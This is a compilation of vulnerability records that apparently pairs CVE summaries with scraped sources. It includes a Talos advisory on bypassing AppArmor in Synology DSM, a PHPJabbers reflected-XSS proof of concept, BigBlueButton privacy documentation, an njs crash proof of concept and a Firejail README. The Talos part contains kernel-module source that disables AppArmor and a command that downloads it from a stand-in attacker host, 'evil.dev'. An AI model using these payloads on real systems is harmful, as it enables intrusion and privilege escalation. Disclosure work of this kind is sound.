Incorrect authorization vulnerability in synoagentregisterd in Synology DiskStation Manager (DSM) before 6.2.4-25553 allows local users to execute arbitrary code via unspecified vectors.

**Summary**

A misconfiguration exists in AppArmor’s synosearchagent profile of Synology DSM 6.2.3 25426 DS120j. A specially crafted kernel module can be loaded, leading to a bypass of AppArmor’s restrictions. An attacker can use insmod to trigger this vulnerability.

**Tested Versions**

Synology DSM 6.2.3 25426-2 DS120j

**Product URLs**

https://www.synology.com/en-global/dsm

**CVSSv3 Score**

6.7 - CVSS:3.0/AV:L/AC:L/PR:H/UI:N/S:U/C:H/I:H/A:H

**CWE**

CWE-284 - Improper Access Control

**Details**

Synology DiskStation Manager (DSM) is the Linux-based operating system for every Synology NAS.

Synology DSM uses AppArmor to restrict applications’ capabilities within their OS.

The majority of the services in DSM are running as UID 0 (root):

    # ps -o pid,user,ucmd -U 0|grep -e syno -e nginx
    2644 root     synologaccd
    2745 root     synoconfd
    2754 root     synonetd
    3651 root     synologrotated
    4873 root     synologand
    4876 root     synocrond
    4975 root     synostoraged
    4977 root     synostoraged
    4980 root     synostoraged
    5229 root     synobackupd
    6606 root     synoscgi_______
    6630 root     synosnmpcd
    6651 root     synocgid
    6659 root     synoagentregist
    6923 system   synoscgi_______
    6925 system   synoscgi_______
    6926 system   synoscgi_______
    6927 system   synoscgi_______
    6930 system   synoscgi_______
    7050 root     nginx
    7692 root     synodisklatency
    7714 root     synorelayd
    8443 root     synoelasticd
    

Since these services are restricted via AppArmor, it is interesting to analyze their profile:

    # aa-status
    apparmor module is loaded.
    139 profiles are loaded.
    132 profiles are in enforce mode.
       /usr/bin/httpd
       /usr/bin/ldapsearch
       /usr/bin/nginx
       /usr/sbin/avahi-daemon
       /usr/sbin/dhclient
       /usr/sbin/dmidecode
       /usr/sbin/idmapd
       /usr/sbin/mountd
       /usr/sbin/rpcbind
       /usr/sbin/statd
       ...
    10 processes are in enforce mode.
       /usr/sbin/avahi-daemon (8340)
       /usr/sbin/dhclient (4544)
       /usr/sbin/dhclient (4670)
       /usr/syno/bin/synosearchagent (6520)      [1]
       /usr/syno/sbin/synoscgi (6438)
       /usr/syno/sbin/synoscgi (6891)
       /usr/syno/sbin/synoscgi (6895)
       /usr/syno/sbin/synoscgi (6896)
       /usr/syno/sbin/synoscgi (6897)
       /usr/syno/sbin/synoscgi (6898)
    0 processes are in complain mode.
    0 processes are unconfined but have a profile defined.
    

One of the confined processes is `synosearchagent` \[1\], which was the subject of a previous issue described in TALOS-2020-1159  
Unfortunately, if we want to check the profile assigned to this binary, we’re left with just the `cache` entry, which is a compiled version of the profile:

    # grep -r synosearchagent /etc/apparmor.d
    Binary file /etc/apparmor.d/cache/usr.syno.bin.synosearchagent matches
    /etc/apparmor.d/abstractions/synoscgi:/usr/syno/bin/synosearchagent                                                    px,
    

The binary profiles are sent directly to the AppArmor kernel interface, and lack a notable amount of information compared to the original plaintext profile. As it was discussed in an https://gitlab.com/apparmor/apparmor/-/issues/57, a decompilation tool is not publicly available and would require a considerable effort to implement. For this reason, we analyzed the profile manually, by executing a shell that runs with the same restrictions imposed by `synosearchagent` (this is equivalent to being able to execute code as `synosearchagent`, as demonstrated in TALOS-2020-1159):

    # cd /usr/syno/bin
    # mv synosearchagent synosearchagent.orig
    # cp /bin/bash synosearchagent
    # ./synosearchagent
    synosearchagent-4.3# id
    uid=0(root) gid=0(root) groups=0(root),2(daemon),19(log)
    synosearchagent-4.3# ls /
    ls: cannot open directory /: Permission denied
    synosearchagent-4.3# dmesg | tail -n 1
    [27081.032234] audit: type=1400 audit(1601068479.296:634): apparmor="DENIED" operation="open" profile="/usr/syno/bin/synosearchagent" name="/" pid=25225 comm="ls" requested_mask="r" denied_mask="r" fsuid=0 ouid=0
    

As we can see, opening the root directory is restricted by the AppArmor profile.

However, we found that the profile allows for loading and removing kernel modules, for example by running `insmod`:

    synosearchagent-4.3# lsmod|grep hfsplus
    synosearchagent-4.3# insmod /usr/lib/modules/hfsplus.ko
    synosearchagent-4.3# lsmod|grep hfsplus
    hfsplus               100863  0
    

This is equivalent to having kernel code execution, hence it’s possible to disable AppArmor and bypass all the restrictions imposed by the profile.

Thus, an attacker able to execute code as root in `synosearchagent` (for example by exploiting TALOS-2020-1159) can then use the issue described in this advisory to gain unrestricted root privileges in DSM.

**Exploit Proof of Concept**

The following proof-of-concept shows how to disable AppArmor in DSM from a restricted `synosearchagent` profile:

An attacker could compile the following module (“aastop.ko”) that executes `apparmor.sh stop`, which is a startup script that can be used to manage AppArmor.

    #include <linux/module.h>
    #include <linux/kernel.h>
    #include <linux/kmod.h>
    
    int init_module(void) {
      char * envp[] = { "HOME=/", NULL };
      char * argv[] = { "/bin/bash", "/usr/syno/etc.defaults/rc.sysv/apparmor.sh", "stop", NULL };
      call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
      printk(KERN_INFO "Executed.\n");
      return 0;
    }
    

Next the attacker can download and insert the module (assuming it’s running code in the `synosearchagent` process:

    synosearchagent-4.3# ls /                                                  [1]
    ls: cannot open directory /: Permission denied
    synosearchagent-4.3# wget http://evil.dev/aastop.ko -O /tmp/aastop.ko
    synosearchagent-4.3# insmod /tmp/aastop.ko
    synosearchagent-4.3# dmesg|tail -n1
    [27363.832373] Executed.
    synosearchagent-4.3# ls /                                                  [2]
    bin dev  etc.defaults  lib    lib64       mnt   root  sbin  tmp  usr  var.defaults
    config  etc  initrd    lib32  lost+found  proc  run   sys   tmpRoot  var  volume1
    synosearchagent-4.3# aa-status
    apparmor module is loaded.
    0 profiles are loaded.
    0 profiles are in enforce mode.
    0 profiles are in complain mode.
    0 processes have profiles defined.
    0 processes are in enforce mode.
    0 processes are in complain mode.
    0 processes are unconfined but have a profile defined.
    

As we can see the we now have permission to access the root directory and all AppArmor profiles have been unloaded.

**Timeline**

2020-09-29 - Vendor Disclosure  
2021-02-25 - Vendor Patched  

Discovered by Claudio Bozzato and Lilith >\_> of Cisco Talos.

CVE-2021-26563: TALOS-2020-1158 || Cisco Talos Intelligence Group

Zoho ManageEngine Applications Manager before 14 build 14880 allows an authenticated SQL Injection via a crafted Alarmview request.

CVE-2020-27733: List of bug fixes and feature enhancements

Multiple cross-site scripting (XSS) vulnerabilities exist in PHPJabbers Appointment Scheduler 2.3, in the index.php admin login webpage (with different request parameters), allows remote attackers to inject arbitrary web script or HTML.

    # Exploit Title: PHPJabbers Appointment Scheduler 2.3 - Reflected XSS (Cross-Site Scripting)# Date: 2020-12-14# Exploit Author: Andrea Intilangelo# Vendor Homepage: https://www.phpjabbers.com# Software Link: https://www.phpjabbers.com/appointment-scheduler# Version: 2.3# Tested on: Latest Version of Desktop Web Browsers (ATTOW: Firefox 83.0, Microsoft Edge 87.0.664.60)# CVE: CVE-2020-35416Reflected Cross-Site Scripting (XSS) vulnerability in 'index.php' login-portal webpage of Stivasoft/PHPJabbers Appointment Scheduler v2.3 (and many others, in example from "ilmiogestionale.eu", since some companies/web agencies did a script rebrand/rework) allows remote attacker to inject arbitrary script or HTML.Request parameters affected: "date", "action", arbitrarily supplied URL parameters, possible others.PoC Request:GET /index.php?controller=pjFrontPublic&action=pjActionServices&cid=1&layout=1&date=%3cscript%3ealert(1)%3c%2fscript%3e&theme=theme9 HTTP/1.1Host: [removed]Connection: closeAccept: */*User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/87.0.4280.66 Safari/537.36X-Requested-With: XMLHttpRequestSec-Fetch-Site: same-originSec-Fetch-Mode: corsSec-Fetch-Dest: emptyReferer: https://[removed]Accept-Encoding: gzip, deflateAccept-Language: it-IT,it;q=0.9,en-US;q=0.8,en;q=0.7Cookie: _ga=GA1.2.505990147.1607596638; _gid=GA1.2.1747301294.1607596638; AppointmentScheduler=5630ae3ab2ed56dbe79c033b84565422PoC Response:HTTP/1.1 200 OKServer: nginxDate: Thu, 14 Dec 2020 10:48:41 GMTContent-Type: text/html; charset=utf-8Connection: closeVary: Accept-EncodingExpires: Thu, 19 Nov 1981 08:52:00 GMTCache-Control: no-store, no-cache, must-revalidatePragma: no-cacheAccess-Control-Allow-Origin: *Access-Control-Allow-Credentials: trueAccess-Control-Allow-Methods: POST, GET, OPTIONSAccess-Control-Allow-Headers: Origin, X-Requested-WithContent-Length: 13988<div class="container-fluid">   <div class="row">       <div class="col-lg-4 col-md-4 col-sm-4 col-xs-12">           <div class="panel panel-default pjAsContainer pjAsAside">               <div class="panel-heading p...[SNIP]...<div class="pj-calendar-ym">Dicembre, <script>alert(1)</script></div>...[SNIP]...PoC Screenshots:https://imgrz.com/item/naqZhttps://imgrz.com/item/ngZ1orhttps://imagebin.ca/v/5kkKgOdFS9n5https://imagebin.ca/v/5kkKlhi4amhj

CVE-2020-35416: PHPJabbers Appointment Scheduler 2.3 Cross Site Scripting ≈ Packet Storm

In versions 3.0.0-3.9.0, 2.0.0-2.9.0, and 1.0.1, the NGINX Controller Agent does not use absolute paths when calling system utilities.

CVE-2020-27730

In cPanel before 90.0.17, 2FA can be bypassed via a brute-force approach (SEC-575).

CVE-2020-29136: 90 Change Log

BigBlueButton through 2.2.28 uses STUN/TURN resources from a third party, which may represent an unintended endpoint.

**Overview**

In many countries there exist regulation of data protection. For operators of BigBlueButton services, especially private data protection regulations are an important topic. In the European Union the relevant regulation is the General Data Protection Regulation (GDPR). Many other countries also adopted similar regulations (for example the California Consumer Privacy Act (CCPA) in California USA or the Lei Geral de Proteção de Dados (LGPD) in Brazil) and some of these regulation even have to be complied with outside of these countries under certain conditions. The following documentation is supposed to help understand where private data gets processed and stored in a typical setup of BigBlueButton, and what configuration options there are.

Disclaimer: the following documentation is neither legal advice, nor complete. This is work-in-progress.

This section documents privacy related settings, defaults, and configuration options in BigBlueButton itself. Keep in mind that your configration changes here may be silently overwritten upon upgrades via apt, see https://github.com/bigbluebutton/bigbluebutton/issues/9111 To prevent this, make sure to use the apply-config.sh script to ensure changes are retained upon upgrades and restarts.

**Recordings****BigBlueButton either records all of a session or does not record at all**

When a room is created in BigBlueButton that allows recordings (i.e., the recording button is visible) BigBlueButton will record the entire session. This is independent of the recording-button actually being pressed or not. The technical reason behind this is that parts of the recordings (esp. the SVG files for the Whiteboard) depend on earlier state to be properly processed, see: https://docs.bigbluebutton.org/dev/recording.html By default these files are stored for two weeks (see ‘Retention of Cache Files’ below). Furthermore, depending on the use-case and jurisdiction it might be prudent to retain the option to create ‘retroactive’ recordings, e.g., when users forgot to click the recording button.

If the frontend (which uses the BigBlueButton API to create/start a room) specifies record=true, the entire session will be recorded, unless recording is disabled for all rooms in BigBlueButton. If the frontend specifies record=false or does not specify this parameter, then the session will not be recorded and the “start”/”stop” recording button will not be available during the session.

**Resolution**

Operators have at least these two options for handling this:

**Globally disable recordings in BigBlueButton**

Server operators can change /usr/share/bbb-web/WEB-INF/classes/bigbluebutton.properties and change disableRecordingDefault=false to disableRecordingDefault=true for globally disabling recordings. Furthermore, recording of breakout rooms should be disabled by setting breakoutRoomsRecord=false. In general, this is an advisable idea (independently of disableRecordingDefault=true, because break-out rooms might imply a certain level of privacy for typical users.

**Post-recording script to remove recordings without any recording markers**

Server operators can deploy a custom script which purges recordings and cache-files of recordings for which no recording markers were created.

Simple version: /etc/sudoers:  
bigbluebutton ALL = NOPASSWD: /usr/bin/bbb-record

and

/usr/local/bigbluebutton/core/scripts/archive/archive.rb (after line 242):  
\` BigBlueButton.logger.info(“There are no recording marks for #{meeting\_id}, deleting the recording.”) system(‘sudo’, ‘bbb-record’, ‘–delete’, “#{meeting\_id}”) || raise(‘Failed to delete local recording’)\`

For a more complete version that also explicitly deletes cache files of recordings for freeswitch/kurento, please see: https://github.com/Kalagon/bbb-recording-archive-workaround

**BigBlueButton stores presentations uploaded during sessions**

BigBlueButton stores the presentations of sessions in /var/bigbluebutton even if the room is started with record=false.

**Resolution**

Unknown, unclear which post-recording actions are triggered if no recording is created. TODO: add some best practices here

**BigBlueButton stores full raw recording data**

BigBlueButton stores the raw recording data for meetings that have recording markers indefinitely. This includes parts of the session where the presenter/moderator did not yet click the recording button.

**Resolution**

This can be resolved by deleting raw recording data after a meeting has been successfully archived. For deployments using scalelite, this can be achieved by the following changes:

/etc/sudoers:  
bigbluebutton ALL = NOPASSWD: /usr/bin/bbb-record

/usr/local/bigbluebutton/core/scripts/post_publish/scalelite_post_publish.rb, after line 66:  
system('sudo', 'bbb-record', '--delete', "#{meeting_id}") || raise('Failed to delete local recording')

For other deployments, removal of /var/bigbluebutton/recording/raw/$meeting/ should be added to the post-archive script.

This data can also be removed periodically, see Retention of cache files

**All recordings are always accessible**

By default, BigBlueButton recordings are accessible, see e.g., https://github.com/bigbluebutton/bigbluebutton/issues/8505

Additionally, the URLs for recordings are easily enumerable, see https://github.com/bigbluebutton/greenlight/issues/1466 and https://github.com/bigbluebutton/bigbluebutton/issues/9443

**Resolution**

Server administrators can change the nginx configuration to restrict access to the recording URLs. Depending on the use-case, the auth statement in nginx can interact with the used frontend to enforce further restrictions (e.g., requesting the same credentials as the frontend). For example configuration options and an authentication callback to a Greenlight frontend, see: https://github.com/ichdasich/bbb-rec-perm

**Cache files**

The stack of BigBlueButton creates various cache files when recordings are enabled. Specifically in:

/var/bigbluebutton/recording/raw/  
/var/bigbluebutton/unpublished/  
/var/bigbluebutton/published/presentation/  
/usr/share/red5/webapps/video/streams/  
/usr/share/red5/webapps/screenshare/streams/  
/usr/share/red5/webapps/video-broadcast/streams/  
/var/kurento/recordings/  
/var/kurento/screenshare/  
/var/freeswitch/meetings/

**Resolution**

For automatically cleaning up these files after recordings, see BigBlueButton always records when recording of a room is enabled. In addition, to prevent this data to be written to disk, these files can be mounted with tmpfs to keep recording caches in-memory. For this, the following lines have to be added to /etc/fstab:

tmpfs /var/bigbluebutton/recording/raw/ tmpfs rw,nosuid,noatime,uid=998,gid=998,size=16G,mode=0755 0 0  
tmpfs /var/bigbluebutton/unpublished/ tmpfs rw,nosuid,noatime,uid=998,gid=998,size=16G,mode=0755 0 0  
tmpfs /var/bigbluebutton/published/presentation/ tmpfs rw,nosuid,noatime,uid=998,gid=998,size=16G,mode=0755 0 0  
tmpfs /usr/share/red5/webapps/video/streams/ tmpfs rw,nosuid,noatime,uid=999,gid=999,size=16G,mode=0755 0 0  
tmpfs /usr/share/red5/webapps/screenshare/streams/ tmpfs rw,nosuid,noatime,uid=999,gid=999,size=16G,mode=0755 0 0  
tmpfs /usr/share/red5/webapps/video-broadcast/streams/ tmpfs rw,nosuid,noatime,uid=999,gid=999,size=16G,mode=0755 0 0  
tmpfs /var/kurento/recordings/ tmpfs rw,nosuid,noatime,uid=996,gid=996,size=16G,mode=0755 0 0  
tmpfs /var/kurento/screenshare/ tmpfs rw,nosuid,noatime,uid=996,gid=996,size=16G,mode=0755 0 0  
tmpfs /var/freeswitch/meetings/ tmpfs rw,nosuid,noatime,uid=997,gid=997,size=16G,mode=0755 0 0

After applying that, the server administrator has to execute bbb-conf --stop; mount -a; bbb-conf --start.

Furthermore, the uid/gid values have to be adjusted to the local installation. The above example assumes:

red5:x:999:999:red5 user-daemon:/usr/share/red5:/bin/false  
bigbluebutton:x:998:998:bigbluebutton:/home/bigbluebutton:/bin/false  
freeswitch:x:997:997:freeswitch:/opt/freeswitch:/bin/bash  
kurento:x:996:996::/var/lib/kurento:

TODO: explain what these uid/gid values are and how to get the correct ones

**Retention of cache files**

BigBlueButton retains various cache and log files. The general retention period for these files can be configured in /etc/cron.daily/bigbluebutton.

*   history is the retention period for presentations, red5 caches, kurento caches, and freeswitch caches in days
*   unrecorded_days the retention periods of recordings for meetings which have no recording markers set (user expectation: Were not recorded)
*   published_days the retention period of recordings’ raw data, if these got published. To enable this, the line #remove_raw_of_published_recordings also has to be uncommented

For directly deleting these caches, please see ‘Post-recording script to remove recordings without any recording markers’

**Logs****General log rotation**

If server operators opt to keep recording files and logs, they should know and change:

*   the duration for which to keep the recording files in /etc/cron.daily/bigluebutton, using the log_history setting
*   the logrotate settings in /etc/logrotate.d/(bbb-record-core.logrotate|bbb-webrtc-sfu.logrotate) which rotate logs in /var/log/bbb-webrtc-sfu/ every 7 days, and /var/log/bigbluebutton/(bbb-rap-worker.log|sanity.log) every 8 days
*   the logrotate settings in /usr/share/bbb-web/WEB-INF/classes/logback.xml which rotate logs at /var/log/bigbluebutton/bbb-web.log daily and keep them for 14 days

**BigBlueButton logging**

BigBlueButton logs all interactions with rooms, i.e., when they were created, who joined when, and when they left in /var/log/bigbluebutton/bbb-web.log

The log verbosity of the core application can be reduced by setting appLogLevel=Error in /usr/share/bbb-web/WEB-INF/classes/bigbluebutton.properties and by adjusting the individual settings in /usr/share/bbb-web/WEB-INF/classes/logback.xml.

To avoid logging ip-addresses in bbb-webrtc-sfu, set level: error in /usr/local/bigbluebutton/bbb-webrtc-sfu/config/default.yml.

Also these files contain log levels regarding chat usage and chat messages:

*   /etc/bbb-transcode-akka/application.conf and /etc/bbb-transcode-akka/logback.xml
*   /etc/bbb-apps-akka/application.conf and /etc/bbb-apps-akka/logback.xml

**nginx**

By default BigBlueButton has “full access logs” enabled for nginx. This includes users IP addresses, usernames, joined meetings, etc. This can be disable by switching the loglevel to ‘ERROR’ only in /etc/nginx/sites-available/bigbluebutton and /etc/nginx/nginx.conf:

error_log /var/log/nginx/bigbluebutton.error.log;  
access_log /dev/null;

**freeswitch**

The default installation of FreeSWITCH by default logs with loglevel DEBUG. This can be changed in /etc/bbb-fsesl-akka/application.conf and /etc/bbb-fsesl-akka/logback.xml. The default configuration stores usernames, joined sessions and timestamps.

**red5**

Red5 seems to only log meeting IDs and timestamps of when video feeds are started. Still it is configured for log-level ‘info’, which spills the disk. This can be adjusted in /etc/red5/logback.xml.

**kurento**

Logs session names and timestamps, as well as user IP addresses. This also includes user IP addresses behind NATs, i.e., the actual client addresses, potentially making users identifiable accross sessions. This can be configured in /etc/default/kurento-media-server, see https://doc-kurento.readthedocs.io/en/latest/features/logging.html

Note that this can most likely be overridden by kurento’s systemd unit file. Hence, --gst-debug-level=1 should also be set in /usr/lib/systemd/system/kurento-media-server.service.

**Integrations****TURN server**

BigBlueButton uses a TURN server for NAT traversal. By default, a STUN server from freeswitch.org is configured for BigBlueButton. You can set up your own TURN/STUN server, and configure it in /usr/share/bbb-web/WEB-INF/classes/spring/turn-stun-servers.xml.

**sip.js**

There is a hardcoded google STUN server in /usr/share/meteor/bundle/programs/web.browser/app/compatibility/sip.js. However, this should not be a problem because the hardcoded STUN server will not be used: a failed GET of the TURN/STUN settings in BBB-web should return an empty array, overwriting this setting. Nonetheless, careful server administrators may want to replace this default.

**Hardcoded Google STUN server for kurento**

On the server, Kurento uses a Google STUN server to identify its own external IP address on each ICE connect. This can be changed in /etc/kurento/modules/kurento/WebRtcEndpoint.conf.ini by statically setting the IP address of the external interface and disabling the stun server if the kurento system itself does not sit behind NAT.

**Kurento client side defaults**

For client side kurento activities (listen only, screenshare, video) there is a public fallback STUN server pool which is used if the bbb-web GET request fails. There is work in progress on removing this default.

**Greenlight****Greenlight always starts new rooms with recording=true**

By default, when Greenlight creates a conference, the value ‘record=true’ is passed to BigBlueButton. These conferences will be recorded even if the record button is not pressed. See also: Recording

**Resolution**

You can disable the recording globally in the Greenlight room settings for everyone or optinally for everyone in their room. see: https://github.com/bigbluebutton/greenlight/pull/1296 Alternatively, if necessary, completely disable the recording feature in the BigBlueButton server configuration.

**Greenlight does not request consent to a privacy policy and/or recording of a session when joining a room as a guest.**

BigBlueButton has no feature that forces participants to consent to a privacy policy or being recorded prior to joining a room. Greenlight has an optional feature that you have to switch on in the basic settings: “Requires the consent of the room initiator and the participants for recording”. This gives all participants a warning text before entering the conference that this room will be recorded.

**Resolution**

In https://github.com/bigbluebutton/greenlight/issues/1163 it is discussed how the required changed can be addressed. https://github.com/bigbluebutton/greenlight/blob/52ed7150f68c6c66c0488374ccc3457d30fd09d4/app/views/rooms/components/\_room\_event.html.erb#L21 adds a disclaimer. The code could be extended to provide a link to the privacy policy, and a checkbox which users have to press to acknowledge that the meeting they are about to join will be recorded, and that they consent to this; The join button should only be enabled when that checkmark is set.

A more substantial change to BigBlueButton and Greenlight would be selective recording, i.e., excluding video, audio, chat and drawing input from users that did not consent to a recording.

**Greenlight includes user-names in room URLs**

In Greenlight, room URLs contain the username of the owner, which might also be private data depending on local laws. Solving this depends on https://github.com/bigbluebutton/greenlight/issues/1057

**Terms of Service**

Greenlight supports displaying of terms and conditions for registered users or upon registration. See http://docs.bigbluebutton.org/greenlight/gl-config.html#adding-terms-and-conditions

**All recordings are always accessible**

By default, BigBlueButton recordings are accessible, see e.g., https://github.com/bigbluebutton/bigbluebutton/issues/8505 . Additionally, the URLs for recordings are easily enumerable, see https://github.com/bigbluebutton/greenlight/issues/1466 and https://github.com/bigbluebutton/bigbluebutton/issues/9443 .

Greenlight, by default provides two settings for recordings: public, i.e., the recording is listed on the room page, and unlisted, i.e., the recording is only accessible via the (enumerable) direct link.

**Resolution**

Greenlight can be patched to allow more fine-grained control of recording visibility and publications. With https://github.com/ichdasich/greenlight/tree/rec\_restrictions a third value is added to the recording visibility pull-down menu (public/unlisted/private), which leads to corresponding recording metadata being set (gl-listed=true/unlisted/false) in the recording either in scalelite or on the BigBlueButton host.

https://github.com/ichdasich/bbb-rec-perm can then be used to check requests for recordings against that metadata, returning a 403 if the recording is set to private, and returning the recording if it is set to unlisted or public.

**Logs****Rails Logs**

By default, Greenlight logs to $GREENLIGHTDIR/logs/production.log. Removing that line from .env does keep the logs, but does not expose them to the docker host. The easiest solution is linking $GREENLIGHTDIR/logs/production.log to /dev/null

**nginx Logs**

By default Greenlight has full access logs enabled for nginx. This includes users IP addresses, usernames, joined meetings, etc. This can be disable by switching the loglevel to ‘ERROR’ only in /etc/nginx/sites-available/bigbluebutton and /etc/nginx/nginx.conf:

error_log /var/log/nginx/bigbluebutton.error.log;  
access_log /dev/null;

**coturn**

By default, coturn logs to /var/log/coturn.log, with regular log-rotation. This logfile includes IP addresses of users using the TURN server, and the ports they use. Together with other BigBlueButton logs this enables identification of the sessions these users joined.

coturn has no option of restricting logging. The best option here is linking /var/log/coturn.log to /dev/null

**scalelite****Logs****Nginx logs**

Scalelite uses a container running nginx as frontend, which accumulates standard access logs. By default scalelite has full access logs enabled for nginx. This includes users IP addresses, usernames, joined meetings, watched meetings etc. The easiest way to address this is migrating the nginx to the host, thus getting rid of Docker.

Then the logging can be disable by switching the loglevel to ‘ERROR’ in /etc/nginx/sites-available/bigbluebutton and /etc/nginx/nginx.conf:

error_log /var/log/nginx/bigbluebutton.error.log;  
access_log /dev/null;

**Scalelite-API-Container logs**

The container of the scalelite-API-Image (blindsidenetwks/scalelite:v1-api) is also logging user activities. For example: Who joined which meeting:

{"log":"I, [<timestamp>] INFO -- : [<some_identifier>] Redirected to https://<URL>/bigbluebutton/api/join?meetingID=<meeting_ID>\u0026fullName=<name>\u0026password=<hashed_pw>... }

With the Scalelite version 1.0.9 a rotating of the logs was implemented. These are automatically deleted after one day.

The GDPR lists several important considerations, especially:

*   The right to request a (machine readable) aggregate of all private data stored
*   The right to have all personal data be erased
*   Purpose limitation
*   Data minimisation
*   Storage limitation

These pose challenges in the context of BigBlueButton, especially when considering that rooms can be joined anonymously. This means that an operator may not be able to easily identify all stored private information connected to a user, even though it is consider personal/private data, e.g., webcam recordings of a room joined to as a guest with a pseudonym.

For many use cases the easiest solution is to not store any private data of users at all. This includes reducing log levels or disabling logging (log to /dev/null), storing temporary data only im memory (tmpfs) instead of on disk, and disabling the session recording feature. Even after all this is done, the BigBlueButton server still processes all this data. Thus, usually a data processing agreement from the server hosting company is needed and also information about private data processing has to be provided to the users of the service.

CVE-2020-27611: BigBlueButton : Privacy

Pagure before 5.6 allows XSS via the templates/blame.html blame view.

CVE-2019-11556: Changelog — pagure documentation

njs through 0.4.3, used in NGINX, allows control-flow hijack in njs_value_property in njs_value.c. NOTE: the vendor considers the issue to be "fluff" in the NGINX use case because there is no remote attack surface.

Version:0.4.2, git commit 32a70c899c1f136fbc3f97fcc050d59e0bd8c6a5

This bug is likely exploitable.

POC:

function a() {
  new Uint32Array(this\[8\] \= a)
  return Array
}
JSON.parse("\[1, 2, \[\]\]", a)

cmd: njs poc.js

Stack dump:

    #0  0x0000623000000cc0 in ?? ()
    #1  0x00000000004f2b8a in njs_value_property (vm=<optimized out>, value=<optimized out>, key=<optimized out>,
        retval=<optimized out>) at src/njs_value.c:1033
    #2  0x000000000056b75a in njs_object_length (vm=0x623000000100, value=0x6190000011d0, length=<optimized out>)
        at src/njs_object.c:2638
    #3  0x000000000073589f in njs_typed_array_constructor (vm=<optimized out>, args=<optimized out>,
        nargs=<optimized out>, magic=<optimized out>) at src/njs_typed_array.c:97
    #4  0x00000000005ff82f in njs_function_native_call (vm=vm@entry=0x623000000100) at src/njs_function.c:707
    #5  0x0000000000507612 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffff9c28)
        at /home/yongheng/njs/src/njs_function.h:172
    #6  njs_vmcode_interpreter (vm=0x623000000100, pc=0x616000000140 "\v\002\276\276\276\276\276\276$")
        at src/njs_vmcode.c:778
    #7  0x00000000005feecc in njs_function_lambda_call (vm=vm@entry=0x623000000100) at src/njs_function.c:677
    #8  0x00000000005fdd24 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffffa900)
        at /home/yongheng/njs/src/njs_function.h:175
    #9  njs_function_call2 (vm=<optimized out>, function=<optimized out>, this=<optimized out>, args=<optimized out>,
        nargs=<optimized out>, retval=<optimized out>, ctor=<optimized out>) at src/njs_function.c:582
    #10 0x00000000005e6584 in njs_function_apply (vm=0x623000000100, function=0x7fffffff9c20, args=<optimized out>,
        nargs=0x3, retval=0x7fffffffac60) at /home/yongheng/njs/src/njs_function.h:193
    #11 njs_json_parse_iterator_call (vm=0x623000000100, parse=0x7fffffffac60, state=<optimized out>)
        at src/njs_json.c:1015
    #12 njs_json_parse_iterator (vm=0x623000000100, parse=0x7fffffffac60, object=0xffffffff59a) at src/njs_json.c:971
    #13 njs_json_parse (vm=<optimized out>, args=<optimized out>, nargs=0xffffacb8, unused=<optimized out>)
        at src/njs_json.c:167
    #14 0x00000000005ff82f in njs_function_native_call (vm=vm@entry=0x623000000100) at src/njs_function.c:707
    #15 0x0000000000507612 in njs_function_frame_invoke (vm=0x623000000100, retval=0x7fffffff9c28)
        at /home/yongheng/njs/src/njs_function.h:172
    #16 njs_vmcode_interpreter (vm=0x623000000100, pc=0x6250000417a8 "\v\002\276\276\276\276\276\276!")
        at src/njs_vmcode.c:778
    #17 0x00000000004feb4c in njs_vm_start (vm=vm@entry=0x623000000100) at src/njs_vm.c:500
    #18 0x00000000004c8f02 in njs_process_script (opts=<optimized out>, console=0x1307c60 <njs_console>,
        script=<optimized out>) at src/njs_shell.c:843
    #19 0x00000000004c68cf in njs_process_file (opts=0x7fffffffe1f0, vm_options=0x7fffffffe250) at src/njs_shell.c:562
    #20 main (argc=<optimized out>, argv=<optimized out>) at src/njs_shell.c:286
    #21 0x00007ffff6969b97 in __libc_start_main (main=0x4c3cc0 <main>, argc=0x2, argv=0x7fffffffe4c8,
        init=<optimized out>, fini=<optimized out>, rtld_fini=<optimized out>, stack_end=0x7fffffffe4b8)
        at ../csu/libc-start.c:310
    #22 0x000000000041c08a in _start ()

CVE-2020-24349: Control flow hijack in njs_value_property · Issue #324 · nginx/njs

Firejail through 0.9.62 does not honor the -- end-of-options indicator after the --output option, which may lead to command injection.

**Firejail**

   

Firejail is a SUID sandbox program that reduces the risk of security breaches by restricting the running environment of untrusted applications using Linux namespaces, seccomp-bpf and Linux capabilities. It allows a process and all its descendants to have their own private view of the globally shared kernel resources, such as the network stack, process table, mount table. Firejail can work in a SELinux or AppArmor environment, and it is integrated with Linux Control Groups.

Written in C with virtually no dependencies, the software runs on any Linux computer with a 3.x kernel version or newer. It can sandbox any type of processes: servers, graphical applications, and even user login sessions. The software includes sandbox profiles for a number of more common Linux programs, such as Mozilla Firefox, Chromium, VLC, Transmission etc.

The sandbox is lightweight, the overhead is low. There are no complicated configuration files to edit, no socket connections open, no daemons running in the background. All security features are implemented directly in Linux kernel and available on any Linux computer.

Project webpage: https://firejail.wordpress.com/

Download and Installation: https://firejail.wordpress.com/download-2/

Features: https://firejail.wordpress.com/features-3/

Documentation: https://firejail.wordpress.com/documentation-2/

FAQ: https://github.com/netblue30/firejail/wiki/Frequently-Asked-Questions

Wiki: https://github.com/netblue30/firejail/wiki

GitLab-CI status: https://gitlab.com/Firejail/firejail\_ci/pipelines/

Video Channel: https://odysee.com/@netblue30:9?order=new

Backup Video Channel: https://www.bitchute.com/profile/JSBsA1aoQVfW/

**Security vulnerabilities**

We take security bugs very seriously. If you believe you have found one, please report it by emailing us at netblue30@protonmail.com

    Security Advisory - Feb 8, 2021
    
    Summary: A vulnerability resulting in root privilege escalation was discovered in
    Firejail's OverlayFS code,
    
    Versions affected: Firejail software versions starting with 0.9.30.
    Long Term Support (LTS) Firejail branch is not affected by this bug.
    
    Workaround: Disable overlayfs feature at runtime.
    In a text editor open /etc/firejail/firejail.config file, and set "overlayfs" entry to "no".
    
          $ grep overlayfs /etc/firejail/firejail.config
          # Enable or disable overlayfs features, default enabled.
          overlayfs no
    
    Fix: The bug is fixed in Firejail version 0.9.64.4
    
    GitHub commit: (file configure.ac)
    https://github.com/netblue30/firejail/commit/97d8a03cad19501f017587cc4e47d8418273834b
    
    Credit:  Security researcher Roman Fiedler analyzed the code and discovered the vulnerability.
    Functional PoC exploit code was provided to Firejail development team.
    A description of the problem is here on Roman's blog:
    
    https://unparalleled.eu/publications/2021/advisory-unpar-2021-0.txt
